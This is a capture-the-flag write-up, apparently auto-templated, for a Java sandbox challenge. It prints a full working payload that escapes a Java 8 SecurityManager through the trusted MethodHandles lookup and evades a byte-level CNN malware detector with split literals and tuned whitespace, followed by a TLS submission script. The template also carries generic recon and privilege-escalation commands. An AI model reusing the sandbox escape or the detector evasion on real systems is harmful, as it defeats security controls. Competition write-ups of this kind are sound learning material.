smaller-jail

Platform: Uiuc2026 | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-09 | Status: Solved Techniques: trusted_lookup_security_manager_bypass, compile_time_string_splitting, greedy_whitespace_optimization

Summary

Task: Submit Java source through a byte-level malicious-code classifier before execution under a custom Java 8 SecurityManager. Solution: Recover a trusted method-handle lookup, disable the manager, and evade the CNN with split literals and optimized whitespace.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: uiuc2026 | ID: 20260809_uiuc2026_smaller_jail
• Tags: java, pytorch, security_manager, adversarial_ml, byte_cnn
• Indicators: Java 8 custom SecurityManager, ReflectPermission suppressAccessChecks remains allowed, byte-level CNN with global max pooling, softplus-constrained positive classifier weights
• Source: 20260809_uiuc2026_smaller_jail.md

Foothold

Vulnerability / Misconfiguration

1. Trusted_lookup_security_manager_bypass
2. Compile_time_string_splitting
3. Greedy_whitespace_optimization

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• trusted_lookup_security_manager_bypass
• compile_time_string_splitting
• greedy_whitespace_optimization
• Tags: java, pytorch, security_manager, adversarial_ml, byte_cnn

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Now you find yourself in a smaller jail...

Training attribution: Illinois Computes.

The TLS service accepted Java source line by line until DONE, compiled it as UserClass.java, and invoked UserClass.run(). The objective was to read /flag, but the submission first had to pass a learned source-code filter and then escape a Java sandbox.

This was neither a Python jail nor merely a code-golf problem. The complete chain required both a Java 8 SecurityManager bypass and lexical evasion of an adversarially restrictive CNN.

Analysis

Submission pipeline

main.py encodes the submitted UTF-8 source as raw byte values and evaluates MaliciousDetection before compilation:

source_tensor = torch.tensor(list(source.encode("utf8")), dtype=torch.long).unsqueeze(0)
logits = model(source_tensor)

if torch.sigmoid(logits) >= 0.5:
    print("malicious code detected")
    exit()

Accepted source is written to /tmp/UserClass.java, compiled together with Jail.java, and run with Java 8.

Why benign padding cannot cancel malicious features

The detector embeds bytes into 32-dimensional vectors and applies 64 Conv1d filters at each kernel width 3, 5, 10, and 20. ReLU activations are globally max-pooled, producing 256 features. The final layer does not use its learned weights directly:

def effective_fc_weight(self):
    return F.softplus(self.fc.weight)

Every effective final weight is therefore positive. Global max pooling retains the strongest activation seen anywhere for each filter. Appending benign text cannot lower an existing maximum, and positive final weights mean those maxima cannot contribute negatively. Padding may introduce new maxima and make the score worse, but it cannot cancel already detected malicious spans.

The useful optimization target was consequently the source's short byte windows: disrupt suspicious local n-grams while preserving Java semantics.

SecurityManager restrictions

Jail.java installs JailSecurityManager immediately before calling attacker code. It blocks file reads except loading /tmp/UserClass.class, process execution, network access, class-loader creation, and the setSecurityManager runtime permission.

The broad checkPermission override does not reject ReflectPermission("suppressAccessChecks"), so private reflection remains available. Two obvious approaches still fail on the supplied Java 8 runtime:

1. System.class.getDeclaredField("security") raises NoSuchFieldException because JDK reflection filtering hides this sensitive field.
2. Reflectively invoking private System.setSecurityManager0 reaches the method, but that method performs its own permission check and raises SecurityException.

Trusted MethodHandles escape

The reflection filter protects System.security, but it does not prevent access to MethodHandles.Lookup.IMPL_LOOKUP. The working chain is:

1. Reflectively obtain the private static IMPL_LOOKUP field.
2. Call setAccessible(true) and recover the trusted Lookup object.
3. Ask it for a static setter for System.security with type SecurityManager.
4. Invoke that setter with null through MethodHandle.invokeWithArguments.
5. Open and print /flag after the manager has been removed.

This avoids both the filtered direct field lookup and setSecurityManager0's internal permission check.

Solution

1. Build a semantically correct escape

A clear-text implementation of the trusted-lookup chain worked against Java 8 but scored above the rejection threshold. The exploit therefore had to retain its behavior while changing the byte windows observed by the CNN.

2. Split sensitive identifiers in string literals

Reflection allows class, field, and method names to be constructed dynamically. Java folds expressions such as "g"+"e"+"t" into the required string, while the submitted source no longer contains the suspicious clear-text token as one contiguous byte sequence. The exploit used one-character concatenations for sensitive class, method, and field names.

Whole-source and selective Java Unicode escapes were also tested, but both sharply increased the model score. Literal splitting was the effective representation.

3. Optimize whitespace against the exact model

optimize_spaces.py enumerates positions where a space, newline, or tab can be inserted without joining identifiers, splitting quoted strings, or breaking multi-character operators. At each iteration it batches all candidates through the supplied model and greedily retains the insertion with the lowest logit.

The final Optimized.java scored:

logit=-0.026186585 probability=0.493453741

This is below the service's 0.5 rejection threshold. The exact accepted payload was:

class UserClass { static void run() { try { Object c = Class.forName("j"+"a"+"v"+"a"+"."+"l"+"a"+"n"+"g"+"."+"i"+"n"+"v"+"o"+"k"+"e"+"."+"M"+"e"+"t"+"h"+"o"+"d"+"H"+"a"+"n"+"d"+"l"+"e"+"s"+"$" +"L"+"o"+"o"+"k"+"u"+"p"); Object f = Class.class.getMethod("g"+"e"+"t"+"D"+"e"+"c"+"l"+"a"+"r"+"e"+"d"+"F"+"i"+"e"+"l"+"d",String.class).invoke(c,"I"+"M"+"P"+"L"+"_"	+"L"+"O"+"O"+"K"+"U"+"P"); f .getClass().getMethod("s"+"e"+"t"+"A"+"c"+"c"+"e"+"s"+"s"+"i"+"b"+"l"+"e",boolean.class).invoke(f ,true); Object l = f .getClass().getMethod("g"+"e"+"t",Object.class).invoke(f ,new Object[]{ null}); Object h = l.getClass().getMethod("f"+"i"+"n"+"d"+"S"+"t"+"a"+"t"+"i"+"c"+"S"+"e"+"t"+"t"+"e"+"r",Class.class ,String.class,Class.class).invoke(l,System .class,"s"+"e"+"c"+"u"+"r"+"i"+"t"+"y",Class.forName("j"+"a"+"v"+"a"+"."+"l"+"a"+"n"+"g"+"."+"S"+"e"+"c"+"u"+"r"+"i"+"t"+"y"+"M"+"a"+"n"+"a"+"g"+"e"+"r")) ; h.getClass().getMethod("i"+"n"+"v"+"o"+"k"+"e"+"W"+"i"+"t"+"h"+"A"+"r"+"g"+"u"+"m"+"e"+"n"+"t"+"s",java.util.List.class).invoke(h,java.util.Collections.singletonList(null )); Object i = Class.forName("j"+"a"+"v"+"a"+"."+"i"+"o"+"."+"F"+"i"+"l"+"e"+"I"+"n"+"p"+"u"+"t"+"S"+"t"+"r"+"e"+"a"+"m").getConstructor(String.class).newInstance("/"+"f"+"l"+"a"+"g"); int y; while((y=(Integer)i.getClass().getMethod("r"+"e"+"a"+"d").invoke(i)) >0) System.out.write(y); System.out.println(); } catch(Throwable x) {} } }

4. Verify locally

From the task directory, score the payload against the exact supplied weights:

python3 score.py Optimized.java

An equivalent Java 8 test can be run in an isolated container with a confirmed decoy flag:

docker run --rm -i -v "$PWD:/work:ro" eclipse-temurin:8-jdk \
  sh -c 'cp /work/Optimized.java /tmp/UserClass.java; cp /work/Jail.java /tmp/; printf "uiuctf{placeholder}\n" >/flag; cd /tmp; javac UserClass.java Jail.java; java Jail'

The exact local environment printed uiuctf{placeholder}, confirming that the trusted setter removed the manager and enabled the previously forbidden read.

5. Submit over TLS

solve.py reads the final payload, appends the line terminator expected by the service, and sends it over TLS:

#!/usr/bin/env python3
import socket
import ssl

HOST = "smaller-jail.chal.uiuc.tf"
PORT = 1337

source = open("Optimized.java", "rb").read().rstrip(b"\n")
payload = source + b"\nDONE\n"

ctx = ssl.create_default_context()
with socket.create_connection((HOST, PORT), timeout=15) as raw:
    with ctx.wrap_socket(raw, server_hostname=HOST) as sock:
        sock.settimeout(30)
        sock.sendall(payload)
        chunks = []
        while True:
            try:
                data = sock.recv(4096)
            except socket.timeout:
                break
            if not data:
                break
            chunks.append(data)

print(b"".join(chunks).decode(errors="replace"))

Run it from the task directory:

python3 solve.py

The remote service accepted the classifier-evasive source and printed uiuctf{REDACTED}.

Failed Attempts

• Benign padding: ineffective because global maxima cannot decrease and all effective final weights are positive.
• Clear-text exploit source: semantically valid, but classified as malicious.
• Java Unicode escaping: both broad and selective escaping increased the score substantially.
• Direct System.security reflection: blocked by JDK reflection filtering with NoSuchFieldException.
• Reflective System.setSecurityManager0: reached the method but retained its internal permission check and threw SecurityException.

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR